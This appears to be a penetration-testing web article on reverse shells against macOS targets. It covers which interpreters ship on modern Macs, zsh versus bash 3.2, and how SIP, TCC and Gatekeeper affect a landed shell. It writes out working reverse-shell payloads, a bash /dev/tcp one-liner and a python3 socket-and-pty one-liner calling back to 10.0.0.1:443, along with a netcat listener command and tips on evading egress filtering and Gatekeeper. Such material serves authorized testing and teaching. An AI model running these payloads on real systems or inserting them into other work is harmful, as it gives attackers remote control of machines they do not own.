macOS Reverse Shell: zsh, an Old Bash, and Maybe No Python
How reverse shells work on macOS targets — which interpreters ship, why the default shell is zsh, and the SIP/TCC realities of authorized Mac testing.
macOS is Unix, so reverse shells work much as they do on Linux — but the interpreter landscape is quirky enough to trip you up. Apple froze bash years ago, switched the default shell to zsh, and has been steadily removing bundled scripting runtimes. Knowing what is actually on a modern Mac saves you firing a payload that was never going to run.
What Ships on a Modern Mac
- bash 3.2 — still present at
/bin/bash, but ancient (Apple froze it to avoid GPLv3). The good news:/dev/tcpworks in bash 3.2, so the classic one-liner is fine if you invoke bash explicitly. - zsh — the default interactive shell since Catalina. zsh does not provide bash's
/dev/tcp, so do not assume the default shell will run a bash one-liner. - python3 — maybe. Apple removed bundled Python 2, and Python 3 is only present if the Command Line Tools / Xcode are installed. Do not count on it.
- perl, ruby — usually present, though Apple has deprecated these scripting runtimes, so future removal is likely.
- nc — present.
The practical takeaway: enumerate before you choose, exactly as in the OSCP/CTF workflow.
The Payloads That Work
Bash, invoked explicitly (do not rely on the default shell being bash):
bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'
Python 3, if Command Line Tools are installed — the standard python reverse shell:
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/zsh")'
Note /bin/zsh as the spawned shell — it is the native interactive shell on macOS and gives a more natural session than bash 3.2. Catch either with nc -lvnp 443.
SIP, TCC, and Gatekeeper
macOS adds protections that shape what your shell can do once it lands — relevant when testing realistically:
- SIP (System Integrity Protection) locks down system files even from root.
- TCC (Transparency, Consent & Control) gates access to sensitive data (Documents, camera, etc.) behind per-app consent — your shell inherits the permissions of the process it runs in, so a shell from a sandboxed app sees very little.
- Gatekeeper affects dropped binaries, which is one more reason to prefer a fileless interpreter one-liner over a compiled payload.
These do not stop the reverse shell connecting; they shape what comes after.
When It Won't Connect
- Assumed bash but got zsh — invoke
bash -c '...'explicitly. - No python3 — Command Line Tools not installed; fall back to bash, perl, or ruby.
- Egress filtered — prefer
443/80; test per egress filtering. - Listener mismatch — see choosing a listener.
Full checklist: why reverse shells fail.
Generate It
The reverse shell generator emits the bash and python payloads with your LHOST/LPORT and the matching listener; on macOS, pick the interpreter you confirmed is present.
Authorized Testing Only
Use macOS reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.